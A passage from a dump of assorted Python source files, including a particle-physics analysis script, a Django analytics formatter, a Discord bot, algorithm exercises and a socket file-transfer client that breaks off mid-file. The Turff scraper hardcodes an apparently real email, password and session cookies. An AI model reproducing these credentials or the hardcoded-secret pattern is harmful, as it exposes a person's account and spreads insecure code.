the argument parser of XAMPPbase.runSUSYAnalysis\ndef setupHeavyIonArgParser(parser):\n \n parser = setupSUSYArgParser(parser)\n\n parser.set_defaults(noJets=False)\n parser.set_defaults(noBtag=True)\n parser.set_defaults(noElectrons=False)\n parser.set_defaults(noMuons=False)\n parser.set_defaults(noTaus=True)\n parser.set_defaults(noPhotons=False)\n parser.set_defaults(analysis='HeavyIon')\n parser.set_defaults(STConfig='XAMPPanalyses/SUSYTools_HeavyIon.conf')\n \n return parser\n\n\n#####\n# HeavyIon analysis run script\n#####\nif __name__ == \"__main__\":\n \n import ROOT\n \n parser = argparse.ArgumentParser(description='This script starts the analysis code. For more help type \\\"python SUSYFwMPI/util/runHeavyIon.py -h\\\"', prog='runHeavyIon')\n \n RunOptions = setupHeavyIonArgParser(parser).parse_args()\n \n CutFlowsToRun = ['HeavyIon']\n\n start_time = prepareAnalysis(ROOT)\n \n # create a new analysis helper instance\n logging.info(\"creating AnalysisHelper algorithm\")\n AnalysisHelp = ROOT.XAMPP.HeavyIonAnalysisHelper(\"AnalysisHelper\")\n \n \n \n # create an analysis configuration with a name which is the suffix of the output trees \n JobConfig = ROOT.XAMPP.HeavyIonAnalysisConfig('HeavyIon')\n \n # the name of the AnalysisConfig has to be parsed to the AnalysisHelper \n setASGProperty(AnalysisHelp, 'std::string', 'AnalysisConfigName', 'HeavyIon')\n \n # create and add object selectors\n AnalysisHelp.SUSYElectronSelector = ROOT.XAMPP.SUSYElectronSelector(\"SUSYElectronSelector\")\n# setASGProperty(AnalysisHelp.SUSYElectronSelector,'bool','SeparateSF',True)\n setASGProperty(AnalysisHelp.SUSYElectronSelector,'bool','ApplyTriggerSF',False)\n \n AnalysisHelp.SUSYMuonSelector = ROOT.XAMPP.SUSYMuonSelector(\"SUSYMuonSelector\")\n# setASGProperty(AnalysisHelp.SUSYMuonSelector,'bool','SeparateSF',True)\n \n AnalysisHelp.SUSYJetSelector = ROOT.XAMPP.SUSYJetSelector(\"SUSYJetSelector\")\n #setASGProperty(AnalysisHelp.SUSYJetSelector,'float','bJetEtaCut',2.5)\n setASGProperty(AnalysisHelp.SUSYJetSelector,'bool','SeparateSF',True)\n \n AnalysisHelp.SUSYTauSelector = ROOT.XAMPP.SUSYTauSelector(\"SUSYTauSelector\")\n\n AnalysisHelp.SUSYPhotonSelector = ROOT.XAMPP.SUSYPhotonSelector(\"SUSYPhotonSelector\")\n\n AnalysisHelp.SUSYMetSelector = ROOT.XAMPP.Stop0LMetSelector(\"SUSYMetSelector\")\n setASGProperty(AnalysisHelp.SUSYMetSelector, 'bool', 'DoTrackMet', True)\n setASGProperty(AnalysisHelp.SUSYMetSelector, 'bool', 'IncludeTaus', False)\n setASGProperty(AnalysisHelp.SUSYMetSelector, 'bool', 'IncludePhotons', True)\n\n # create and add systematics and trigger tools\n SystematicsTool = ROOT.XAMPP.SUSYSystematics(\"SystematicsTool\") \n \n AnalysisHelp.SUSYSystematics = SystematicsTool\n \n AnalysisHelp.TriggerTool = ROOT.XAMPP.SUSYTriggerTool(\"TriggerTool\")\n setASGProperty(AnalysisHelp.TriggerTool, 'int', 'OfflineThreshold', 2000) # set the offline trigger pt threshold to 2GeV for leptons\n setASGProperty(AnalysisHelp.TriggerTool, 'bool', 'WritePrescaling', False)\n setASGProperty(AnalysisHelp.TriggerTool, 'bool', 'StoreMatchingInfo', False) \n SingleLepTriggers = [\n \t\"HLT_mu15_L1MU10\",\n \"HLT_mu15_L1MU6\",\n \"HLT_mu15_L1MU4\",\n \"HLT_2mu4\",\n \"HLT_mu4\",\n \"HLT_mu6\",\n \"HLT_mu8\",\n \"HLT_mu14\",\n \"HLT_mu15\" \n #\"HLT_mu20_iloose_L1MU15\", # used by Stop0L 2015 2LCR (mumu) cutflow comparison \n #\"HLT_mu60_0eta105_msonly\",\n #\"HLT_mu50\", # used by Stop0L 2015/2016 2LCR (mumu) cutflow comparison\n #\"HLT_mu26_imedium\", # used by Stop0L 2016 2LCR (mumu) cutflow comparison\n #\"HLT_mu24_iloose_L1MU15\",\n #\"HLT_mu40\",\n #\"HLT_mu24_ivarmedium\",\n #\"HLT_mu24_iloose\",\n #\"HLT_mu24_ivarloose\",\n #\"HLT_mu24_ivarloose_L1MU15\",\n #\"HLT_mu24_imedium\",\n #\"HLT_mu26_ivarmedium\"\n ] \n \n # this does not work yet:\n# setASGProperty(TriggerTool,'std::vector< string >','1LeptonTriggers',createStdVecStr(ROOT,SingleLepTriggers))\n # therefore use one single string:\n setASGProperty( AnalysisHelp.TriggerTool, 'std::string', '1LeptonTriggersString', \",\".join(SingleLepTriggers))\n\n if not RunOptions.isData:\n AnalysisHelp.SUSYTruthSelector = ROOT.XAMPP.SUSYTruthSelector(\"SUSYTruthSelector\")\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'double', 'TruthBJetPtCut', 20000.)\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'double', 'TruthBJetEtaCut', 2.5)\n setASGProperty(AnalysisHelp.SUSYTruthSelector, 'float', 'TruthBaselineJetPtCut', 0.)\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'float', 'TruthBaselineJetEtaCut', 2.8)\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'float', 'TruthSignalJetPtCut', 20000.)\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'float', 'TruthSignalJetEtaCut', 2.5)\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'double', 'TruthJetPtCut', 4000.)\n #setASGProperty(AnalysisHelp.SUSYTruthSelector, 'double', 'TruthJetEtaCut', 2.8)\n setASGProperty(AnalysisHelp.SUSYTruthSelector, 'bool', 'doJets', True)\n setASGProperty(AnalysisHelp.SUSYTruthSelector, 'bool', 'doTruthParticles', True)\n\n \n setupSUSYAnalysis(RunOptions, JobConfig, AnalysisHelp, SystematicsTool)\n \n # create a new analysis loop instance\n logging.info(\"setting up the loop algorithm\")\n AnaLoop = ROOT.XAMPP.xAODLoop(\"xAODLoop\")\n AnaLoop.SUSYAnalysisHelper = AnalysisHelp\n\n runAnalysisLoop(RunOptions, AnaLoop)\n\n\n finalizeAnalysis(start_time, AnalysisHelp)\n \n","sub_path":"XAMPPanalyses/python/runHeavyIon.py","file_name":"runHeavyIon.py","file_ext":"py","file_size_in_byte":5744,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"264364841","text":"import datetime\n\nimport iso8601\nfrom django.conf import settings\n\nfrom .drivers import postgres as driver_apg\nfrom accounts.models import UserSettings\n\n\nclass Format(object):\n DELTAS = {\n 'minutely': datetime.timedelta(minutes=1),\n 'hourly': datetime.timedelta(hours=1),\n 'daily': datetime.timedelta(days=1),\n 'weekly': datetime.timedelta(weeks=1),\n 'monthly': datetime.timedelta(days=31),\n 'quarterly': datetime.timedelta(weeks=4 * 3),\n 'yearly': datetime.timedelta(weeks=52),\n }\n\n def __init__(self, req, event_type):\n self.event_type = event_type\n self.req = req\n self.selection = {}\n self.criteria = {}\n self.timeframe = None\n self.force_timeframe = False\n self._no_timezones = False\n self.interval_val = None\n self.group_by = None\n self.res = None\n\n self._driver_metadata = {}\n\n if settings.ANALYTICS_PROVIDER == 'apg':\n self.driver = driver_apg.ResultFormatter(self)\n else:\n raise Exception('Unsupported driver: {}'.format(settings.ANALYTICS_PROVIDER))\n\n def select(self, **kwargs):\n self.selection.update(kwargs)\n return self\n\n def where(self, **kwargs):\n self.criteria.update(kwargs)\n return self\n\n def group(self, by):\n if not isinstance(by, str):\n raise Exception('Multiple groups are not supported')\n self.group_by = by\n return self\n\n def during(self, timeframe=None, force=False, **kwargs):\n self.timeframe = timeframe or kwargs\n if force:\n self.force_timeframe = True\n return self\n\n def last_thirty(self, force=False):\n self.timeframe = 'month'\n if force:\n self.force_timeframe = True\n return self\n\n def interval(self, value=None):\n if value:\n self.interval_val = value\n if self.interval_val not in self.DELTAS:\n self.interval_val = 'daily'\n else:\n best_default = 'daily'\n self.interval_val = self.req.GET.get('interval', best_default)\n return self\n\n def no_timezones(self):\n self._no_timezones = True\n return self\n\n def _selected_timeframe(self):\n if self.force_timeframe:\n return self.timeframe\n else:\n tf_raw = self.req.GET.get('timeframe', self.timeframe)\n self.timeframe = tf_raw\n return tf_raw\n\n def _get_custom_timeframe(self):\n from_ts, to_ts = self.req.GET.get('tf_range').split(',')\n from_dt = iso8601.parse_date(from_ts).replace(tzinfo=None)\n to_dt = iso8601.parse_date(to_ts).replace(tzinfo=None)\n\n if to_dt <= from_dt:\n raise ValueError('invalid range')\n\n return from_dt, to_dt\n\n def _get_tz_offset(self):\n if self._no_timezones:\n return datetime.timedelta()\n tz = UserSettings.get_from_user(self.req.user).tz_offset\n return datetime.timedelta(hours=tz)\n\n def _process(self):\n assert self.selection\n if settings.ANALYTICS_PROVIDER == 'apg':\n driver_apg.build_query(self)\n else:\n raise Exception('Unsupported driver: {}'.format(settings.ANALYTICS_PROVIDER))\n\n return self\n","sub_path":"analytics/formatter.py","file_name":"formatter.py","file_ext":"py","file_size_in_byte":3305,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"484323694","text":"import requests\nimport json\nimport ast\nfrom requests.structures import CaseInsensitiveDict\n\nclass TurffConnection:\n\n def __init__(self):\n url = \"https://panel.turff.nl/auth/auth/login\"\n headers = CaseInsensitiveDict()\n headers[\"Content-Type\"] = \"application/json\"\n data = {\"type\":\"local\",\"email\":\"jankaptijn@outlook.com\",\"password\":\"turff123\"} \n resp = requests.post(url,data = data)\n self.beerBrands = {'Kordaat': 'la7v3lufqw','Hertog Jan' : '8ldwqfawjn','Brand Pilsener':'40mww3song'}\n print(resp.content)\n \n def GetLogData(self):\n\n url = \"https://panel.turff.nl/api/tablet/1dgmk0msrhfsyvl/log\"\n\n headers = CaseInsensitiveDict()\n headers[\"authority\"] = \"panel.turff.nl\"\n headers[\"method\"] = \"POST\"\n headers[\"path\"] = \"/api/tablet/1dgmk0msrhfsyvl/log\"\n headers[\"scheme\"] = \"https\"\n headers[\"accept\"] = \"application/json, text/plain, */*\"\n headers[\"accept-encoding\"] = \"gzip, deflate, br\"\n headers[\"accept-language\"] = \"nl-NL,nl;q=0.9,en-US;q=0.8,en;q=0.7\"\n headers[\"content-length\"] = \"148\"\n headers[\"Content-Type\"] = \"application/json\"\n headers[\"cookie\"] = \"_hjid=ad23061e-01b5-4af0-93ee-d0271288e7f1; _hjTLDTest=1; _ga=GA1.2.989828755.1600548388; _gid=GA1.2.389293464.1600548388; _fbp=fb.1.1600548388094.1621092380; G_ENABLED_IDPS=google; G_AUTHUSER_H=0; random_session=s%3A8Th6eoPluhUo5za7quEgWNhI56FWNVPg.PBs5HOHUVEj%2Fvl4i56QVAAl%2FxJhPXX5edAZGBlsGJ8Y; _hjAbsoluteSessionInProgress=1; _hjIncludedInPageviewSample=1; _gat_gtag_UA_135468472_2=1\"\n headers[\"origin\"] = \"https://panel.turff.nl\"\n headers[\"referer\"] = \"https://panel.turff.nl/huis/1dgmk0msrhfsyvl/turflog\"\n headers[\"sec-fetch-dest\"] = \"empty\"\n headers[\"sec-fetch-mode\"] = \"cors\"\n headers[\"sec-fetch-site\"] = \"same-origin\"\n headers[\"user-agent\"] = \"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.102 Safari/537.36\"\n\n fullRecords = []\n count = 0\n end = False\n for beer in self.beerBrands:\n #print(self.beerBrands[beer])\n end = False\n count = 0\n while not end: \n\n data = '{\"offset\":%s,\"limit\":%s,\"itemUID\":\"%s\"}' % (count,25,self.beerBrands[beer])\n print(data)\n resp = requests.post(url, headers=headers, data=data)\n bytes_content = resp.content\n string_content = bytes_content.decode(\"UTF-8\")\n records = json.loads(string_content)\n count = count + 25\n print(records)\n for r in records: \n if(type(r) is str):\n end = True\n #print(end)\n break\n #print(r)\n fullRecords.append(r)\n\n return fullRecords \n","sub_path":"truff.py","file_name":"truff.py","file_ext":"py","file_size_in_byte":2936,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"45516838","text":"from dparser import Parser \r\nfrom TextNotofocationProcessor import NotificationsORM\r\nfrom datetime import datetime\r\nfrom log import Log\r\n\r\nclass DialogProcessor:\r\n\tdef __init__(self):\r\n\t\tself.__open_dialogs = {};\r\n\t\tself.__notifications = NotificationsORM();\r\n\r\n\tdef prepare_values(self):\r\n\t\treturn {'tstart':0, 'tend': 0}\r\n\r\n\tdef process_text(self, content, chat_id):\r\n\t\tcurrent_context = self.prepare_values();\r\n\t\tif(chat_id in self.__open_dialogs):\r\n\t\t\tcurrent_context = self.__open_dialogs[chat_id];\r\n\r\n\t\tparser = Parser();\r\n\t\tcontent = content.lower();\r\n\t\tcurrent_context.pop('error', None)\r\n\t\tparser.parse_time(content, current_context)\r\n\t\tparser.parse_text_payload(content, current_context)\r\n\r\n\t\tif('error' in current_context):\r\n\t\t\treturn current_context['error']\r\n\r\n\t\tpreview = self.add_notification(current_context, chat_id)\r\n\t\tcurrent_context.pop(chat_id, None)\r\n\t\treturn preview\r\n\r\n\tdef add_notification(self, context, chat_id):\r\n\t\tself.__notifications.add(context, chat_id)\r\n\t\tpreview = \"Created '\" + context['payload'] + \"' at \" + str(context['time']) \r\n\t\tLog(preview);\r\n\t\t# print(\"Log: %s - %s\" %(datetime.now(), preview))\r\n\t\treturn preview","sub_path":"src/dprocessor.py","file_name":"dprocessor.py","file_ext":"py","file_size_in_byte":1154,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"602812633","text":"\"\"\"\n\tGiven a set of distinct integers, return all possible subsets.\n\n\t\tExample\n\t\tIf S = [1,2,3], a solution is:\n\n\t\t[\n\t\t [3],\n\t\t [1],\n\t\t [2],\n\t\t [1,2,3],\n\t\t [1,3],\n\t\t [2,3],\n\t\t [1,2],\n\t\t []\n\t\t]\n\"\"\"\nclass Solution:\n \"\"\"\n @param nums: A set of numbers\n @return: A list of lists\n \"\"\"\n def subsets(self, nums):\n # write your code here\n self.result = []\n nums.sort()\n self.dfs(nums, [], 0)\n return self.result\n\n\n def dfs(self, nums, seq, index):\n \t#循环的出口\n \tif index == len(nums):\n \t\tself.result.append(seq)\n \t\treturn\n\n \tx = nums[index]\n \t# 该数不存在\n \tself.dfs(nums, seq, index+1)\n \t# 该数存在\n \tself.dfs(nums, seq+[x],index+1)\n\n\n\n\n\nclass Solution2:\n \"\"\"\n @param nums: A set of numbers.\n @return: A list of lists. All valid subsets.\n \"\"\"\n def subsetsWithDup(self, nums):\n # write your code here\n nums.sort()\n self.result = []\n self.dfs(nums, [], 0)\n return self.result\n \n def dfs(self, nums, result, idx):\n self.result.append(result)\n \n for i in range(idx, len(nums)):\n self.dfs(nums, result + [nums[i]], i+1)\n\n\nclass Solution3:\n \"\"\"\n @param nums: A set of numbers\n @return: A list of lists\n \"\"\"\n def subsets(self, nums):\n # write your code here\n self.results = []\n self.search(sorted(nums), [], 0)\n return self.results\n \n def search(self, nums, S, index):\n if index == len(nums):\n self.results.append(list(S))\n return\n S.append(nums[index])\n # 该元素存在\n self.search(nums, S, index + 1)\n S.pop()\n self.search(nums, S, index + 1)","sub_path":"Python Version/Graph/DFS/3.Subsets.py","file_name":"3.Subsets.py","file_ext":"py","file_size_in_byte":1738,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"548858950","text":"class Solution:\n def wordBreak(self, s: str, wordDict: List[str]) -> List[str]:\n if len(s) == 0 or len(wordDict) == 0:\n return\n\n # judge if s can be divided by DP\n wordDict = set(wordDict)\n n = len(s)\n dp = [0] * (n + 1) # dp[i] = 1 if substring [0:i) can be divided\n dp[0] = 1 # empty string '' can be divided forever\n for i in range(1, n + 1):\n for j in range(i):\n if dp[j] == 1 and s[j:i] in wordDict:\n dp[i] = 1\n\n # recursively find results\n res = []\n path = []\n\n def dfs(s):\n if len(s) == 0:\n res.append(' '.join(path))\n\n for i in range(len(s)):\n word = s[:i + 1] # be careful about boundary\n if word in wordDict:\n path.append(word)\n dfs(s[i + 1:])\n path.pop()\n\n if dp[n] == 1: # if s can be divided, dfs\n dfs(s)\n\n return res","sub_path":"tony/python/WordBreakII.py","file_name":"WordBreakII.py","file_ext":"py","file_size_in_byte":1019,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"648979724","text":"import yaml\nimport math\nimport sys\nimport click\nimport typing\nimport decimal\n\n\n# stara wersja\n# def task0(yml_path: str):\n# with open(yml_path, 'r') as f:\n# parsed_inputs = yaml.load(f)\n# if not parsed_inputs:\n# return\n# parsed_inputs = list(parsed_inputs)\n# print('Parsed inputs: ', parsed_inputs)\n\ndef task0():\n import lab2_zad1\n lab2_zad1.get_input_integer()\n\n\ndef task1(x_radius: float, y_radius: float):\n try:\n x_radius, y_radius = float(x_radius), float(y_radius)\n print(f'r[x] = {x_radius}, r[y] = {y_radius}')\n for val in [x_radius, y_radius]:\n if not val:\n print('Liczba wynosi 0')\n return\n elif math.isinf(val):\n print('Liczba nieskończona')\n return\n elif math.isnan(val):\n print('Niepoprawna liczba')\n return\n except ValueError:\n print(f'Niepoprawne parametry wejściowe: {x_radius}, {y_radius}')\n return\n perimeter = 2.0 * math.pi * x_radius\n field = math.pi * (y_radius ** 2)\n print(f'Perimeter - {perimeter}, field - {field}')\n\n\ndef _task2_find(x: int, y: int):\n if x is None and y is None:\n # print(f'x = {x}, y = {y}')\n raise ValueError\n elif x is None:\n if y % 2 != 0:\n print(f'y = {y} is not even!')\n else:\n print(f'x = {y*2}, y = {y}')\n elif y is None:\n if x % 2 != 0:\n print(f'x = {x} is not even!')\n elif x == 0:\n print('x = 0, y = 2')\n else:\n for possible_divisor in range(x, 0, -1):\n if possible_divisor % 2 == 0 and x % possible_divisor == 0:\n print(f'x = {x}, y = {possible_divisor}')\n return\n print(f'Divisor for x = {x} not found')\n else:\n if x % 2 != 0:\n print(f'x = {x} is not even')\n elif y % 2 != 0:\n print(f'y = {y} is not even')\n elif x % y != 0:\n print(f'x = {x} is not divisible by y = {y}')\n else:\n print(f'x = {x} is divisible by y = {y}')\n\n\ndef task2(x: typing.Optional[str] = None, y: typing.Optional[str] = None):\n \"\"\"\n Task #2\n Find X & Y that satisfy: X is divisible by Y and both X & Y are even. (0.5p)\n \"\"\"\n try:\n x = int(x) if x is not None else None\n y = int(y) if y is not None else None\n _task2_find(x, y)\n except ValueError:\n print(f'Invalid input arguments: (\\'{x}\\', \\'{y}\\')')\n\n\ndef task3(x: typing.Optional[str] = None, y: typing.Optional[str] = None):\n \"\"\"\n Task #3\n Check if X is divisible by Y (do it in one line of code), print 'X is divisible by Y' or 'X is not divisible by Y'. (1p)\n \"\"\"\n try:\n print(f'x = {x} is divisible by y = {y}' if int(x) % int(y) == 0 else f'x = {x} is not divisible y = {y}')\n except ValueError:\n print(f'Invalid input arguments: ({x}, {y})')\n\n\ndef task4(x: str, y: str):\n \"\"\"\n Task #4\n Add rounding for the above x/y operation. Round to 2 decimal points. Hint: look up in Google \"python limiting number of decimals\". (1p)\n \"\"\"\n decimal.getcontext().prec = 2\n try:\n print('{0:.2f}'.format(decimal.Decimal(x) / decimal.Decimal(y)))\n except ValueError:\n print(f'Invalid input arguments: ({x}, {y})')\n\n\ndef task5(log_deviation):\n \"\"\"\n Task #5\n Look at lab2-plot.py and create your own script which takes a number as an input and plots the same 3D wave but with different characteristics\n \"\"\"\n import numpy as np\n import matplotlib.pyplot as plt\n import mpl_toolkits.mplot3d as plt3d\n\n log_deviation = float(log_deviation)\n x_knots = np.linspace(-3 * np.pi, 3 * np.pi, 201)\n y_knots = np.linspace(-3 * np.pi, 3 * np.pi, 201)\n X, Y = np.meshgrid(x_knots, y_knots)\n R = np.sqrt(X ** 2 + Y ** 2)\n # Z = np.cos(R) ** 2 * np.exp(-0.1 * R)\n Z = np.cos(R) ** 2 * np.log2(2*log_deviation + R)\n ax = plt3d.Axes3D(plt.figure(figsize=(8, 5)))\n ax.plot_surface(X, Y, Z, rstride=1, cstride=1, cmap=plt.cm.coolwarm, linewidth=0.4)\n plt.show()\n\n\n@click.command()\n@click.option('--task', default='')\n@click.argument('arguments', nargs=-1)\ndef cli_interface(task, arguments):\n current_module = sys.modules[__name__]\n if not task or not hasattr(current_module, task):\n print(f'Nie znaleziono rozwiązania o nazwie: {task}')\n return\n try:\n getattr(current_module, task)(*arguments)\n except TypeError:\n print('Podano nieprawidłową listę argumentów!')\n\n\nif __name__ == '__main__':\n cli_interface()\n","sub_path":"lab2_solved.py","file_name":"lab2_solved.py","file_ext":"py","file_size_in_byte":4645,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"87812898","text":"import os\r\nimport discord\r\nimport datetime\r\nfrom dotenv import load_dotenv\r\nfrom plugins import game_dev\r\n\r\nload_dotenv()\r\n\r\nTOKEN = os.getenv('DISCORD_TOKEN')\r\nSERVER = os.getenv('DISCORD_SERVER')\r\nDEVELOPER = os.getenv('DEVELOPER_NAME')\r\nPROJECT = os.getenv('PROJECT_NAME')\r\nDEV_PHASE = os.getenv('DEVELOPMENT_PHASE')\r\nLOG_PATH = os.getenv('LOG_PATH')\r\n\r\nclient = discord.Client()\r\nfeedback_tokens = []\r\n\r\n\r\n@client.event\r\nasync def on_ready():\r\n \"\"\"Writes to console which server the bot has connected to.\"\"\"\r\n for server in client.guilds:\r\n if server.name == SERVER:\r\n break\r\n\r\n print(f'The bot user: {client.user} \\nConnected to: {server.name}')\r\n game_dev.plugin_ready(client)\r\n\r\n\r\n@client.event\r\nasync def on_message(message):\r\n if not isinstance(message.channel, discord.DMChannel):\r\n \"\"\"Each if block is a command that the bot listens for.\"\"\"\r\n if message.content == '!getouttahere':\r\n response = \"\"\"Ey, get outta here: \\n\r\n https://www.youtube.com/watch?v=a440-jN8drc\"\"\"\r\n print(command_log(message.content, message))\r\n await message.channel.send(response)\r\n\r\n if message.content == \"!updates\":\r\n response = f\"\"\"Currently working on: {PROJECT}\\n\r\n The next phase is: {DEV_PHASE} \\n\"\"\"\r\n print(command_log(message.content, message))\r\n await message.channel.send(response)\r\n\r\n if message.content == \"!contact\":\r\n response = f\"\"\"Contact @{DEVELOPER} for more assistance\"\"\"\r\n print(command_log(message.content, message))\r\n await message.channel.send(response)\r\n\r\n if message.content == \"!feedback\":\r\n print(command_log(message.content, message))\r\n await message.author.send(\r\n \"Hi, please leave your feedback. Cancel with !cancel: \"\r\n )\r\n feedback_tokens.append(FeedbackHandler(message.author))\r\n\r\n if isinstance(message.channel, discord.DMChannel):\r\n for token in feedback_tokens:\r\n if token.author == message.author and message.content[0] != \"!\":\r\n print(command_log(\"feedback-recieved\", message))\r\n register_feedback(message.content)\r\n FeedbackHandler.delete_self(token)\r\n await message.author.send(\r\n \"Thank you, your feedback has been received!\"\r\n )\r\n elif token.author == message.author and message.content == \"!cancel\":\r\n print(command_log(\"feedback-cancelled\", message))\r\n FeedbackHandler.delete_self(token)\r\n await message.author.send(\r\n \"Feedback session successfully cancelled.\"\r\n )\r\n\r\n try:\r\n message_string = message.content\r\n message_author = message.author\r\n plugin_response = loaded_plugins.plugin_on_message(\r\n message_string, message_author\r\n )\r\n if plugin_response is not None:\r\n print(command_log(message_string, message))\r\n await message.channel.send(plugin_response)\r\n except Exception:\r\n pass\r\n\r\n\r\ndef command_log(command, message):\r\n \"\"\"Logs which command was used and if it was in a server/channel, or DM.\"\"\"\r\n author = message.author\r\n time = datetime.datetime.now()\r\n time = time.strftime(\"%d/%m/%y %H:%M:%S\")\r\n log_path = LOG_PATH + \"discord_log.log\"\r\n if isinstance(message.channel, discord.DMChannel):\r\n message = f\"\"\"{time} Served {command} command to: {author} in a DM\"\"\"\r\n else:\r\n channel = message.channel.name\r\n server = message.guild.name\r\n message = f\"\"\"{time} Served {command} command to: {author} on {server}, #{channel}\"\"\" # noqa\r\n with open(str(log_path), \"a\") as fw:\r\n fw.write(str(message) + \"\\n\")\r\n return message\r\n\r\ndef register_feedback(message):\r\n \"\"\"Logs feedback anonymously with datetime.\"\"\"\r\n time = datetime.datetime.now()\r\n time = time.strftime(\"%d/%m/%y %H:%M:%S\")\r\n log_path = LOG_PATH + \"feedback.log\"\r\n message = f\"\"\"{time} || {message}\"\"\"\r\n with open(str(log_path), \"a\") as fw:\r\n fw.write(str(message) + \"\\n\")\r\n\r\n\r\nclass FeedbackHandler():\r\n def __init__(self, author):\r\n self.author = author\r\n\r\n def delete_self(token):\r\n feedback_tokens.remove(token)\r\n print(\"Removed from feedback_tokens\")\r\n\r\nclient.run(TOKEN)\r\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4416,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"32317380","text":"import queue\nimport threading\nimport sys\nimport socket\n\nMAX_QUEUE_CONNECTIONS = 3\nDEBUG_MODE = False\nlock = threading.Lock()\ncond = threading.Condition(lock)\nblocking = False\n\n\n\nclass FxA:\n\tdef __init__(self, socket, X, A, P):\n\t\tself.port = X\n\t\tself.ip = A\n\t\tself.destport = P\n\t\tself.iqueue = queue.Queue()\n\t\tself.running = True\n\t\tself.server = (X & 1) == 1 \t#Checks the parity and determines if server\n\t\tself.W = 10\n\t\tself.accepting = False\n\t\tself.connected = False\n\t\tself.socket = socket\n\n\tdef run(self):\n\t\tself.setupSocket()\n\t\tself.getuserinput()\n\t\twhile self.running:\n\t\t\tif(self.running and self.server): \n\t\t\t\tself.runserver()\n\n\t\t\tuinp = False\n\t\t\tif(not blocking and not self.iqueue.empty()):\n\t\t\t\tuinp = True\n\t\t\t\tuin = self.iqueue.get()\n\t\t\tif(uinp and len(uin) > 0 and len(uin.split(' ')) > 0):\n\t\t\t\tuin = uin.split(' ')\n\t\t\t\tcommand = uin[0]\n\t\t\t\tif(not self.server and command == \"connect\"):\n\t\t\t\t\tself.connect()\n\t\t\t\telif(not self.server and command == \"get\" and len(uin) > 1):\n\t\t\t\t\tself.get(uin[1])\n\t\t\t\telif(not self.server and command == \"post\" and len(uin) > 1):\n\t\t\t\t\tself.post(uin[1])\n\t\t\t\telif(not self.server and command == \"disconnect\"):\n\t\t\t\t\tself.disconnect()\n\t\t\t\telif(command == \"window\" and len(uin) > 1):\n\t\t\t\t\tself.window(uin[1])\n\t\t\t\telif(command == \"terminate\"):\n\t\t\t\t\tself.terminate()\n\t\t\t\telse:\n\t\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\t\tprint(\"Unknown command\")\n\n\tdef setupSocket(self):\n\t\t#self.socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n\t\tself.socket.bind((self.ip, self.port))\n\n\tdef getuserinput(self):\n\t\tself.ithread = threading.Thread(target = self.userinput, args=(self.iqueue,lock))\n\t\tself.ithread.daemon = True\n\t\tself.ithread.start()\n\n\tdef startServer(self):\n\t\tself.ithread = threading.Thread(target = self.runserver)\n\t\tself.ithread.daemon = True\n\t\tself.ithread.start()\n\n\tdef userinput(self, queue, lock):\n\t\ti = 0\n\t\tuinput = \"\"\n\t\twhile self.running and uinput != \"terminate\":\n\t\t\ttry:\n\t\t\t\tblocking = True\n\t\t\t\tuinput = input(\">>>\")\n\t\t\t\tqueue.put(str(uinput))\n\t\t\t\tblocking = False\n\t\t\texcept EOFError:\n\t\t\t\ti += 1\n\n\tdef connect(self):\n\t\tif(self.connected):\n\t\t\treturn\n\t\ttry:\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"connecting\")\n\t\t\tself.socket.connect((self.ip, self.destport))\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"connected\")\n\t\t\tself.connected = True\n\t\texcept socket.error:\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"error connecting..\")\n\t\t\tself.connected = False\n\n\tdef disconnect(self):\n\t\tif(not self.connected):\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"Not connected\")\n\t\t\treturn\n\t\tresp = \"CLOSE:DONE\"\n\t\tself.socket.send(str.encode(resp))\n\t\tself.socket.close()\n\t\tself.connected = False\n\n\tdef get(self, F):\n\t\tif(not self.connected):\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"Not connected\")\n\t\t\treturn\n\t\tresp = \"GET:\"+F\n\t\tself.socket.send(str.encode(resp))\n\n\t\trecvd = False\n\t\twhile(not recvd):\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"receiving size..\")\n\t\t\tself.socket.timeout = 1\n\t\t\tresp = self.socket.recv() #receive the size of packets\n\t\t\tresp = bytes.decode(resp)\n\t\t\tif(DEBUG_MODE):\n\t\t\t\tprint(\"received\")\n\t\t\tif(resp.split(':')[0] == \"ERR\"):\n\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\tprint(\"File not found on server\")\n\t\t\t\treturn\n\t\t\t\trecvd = True\n\t\t\telif(resp.split(':')[0] == \"SND\"):\n\t\t\t\ttry:\n\t\t\t\t\tsize = int(resp.split(':')[1])\n\t\t\t\t\trecvd = True\n\t\t\t\t\tresp = \"GOT:\"+str(size)\n\t\t\t\t\tself.socket.send(str.encode(resp))\n\t\t\t\t\tif(DEBUG_MODE):\n\t\t\t\t\t\tprint(\"Got size:\" + resp.split(':')[1])\n\t\t\t\texcept ValueError:\n\t\t\t\t\tresp = 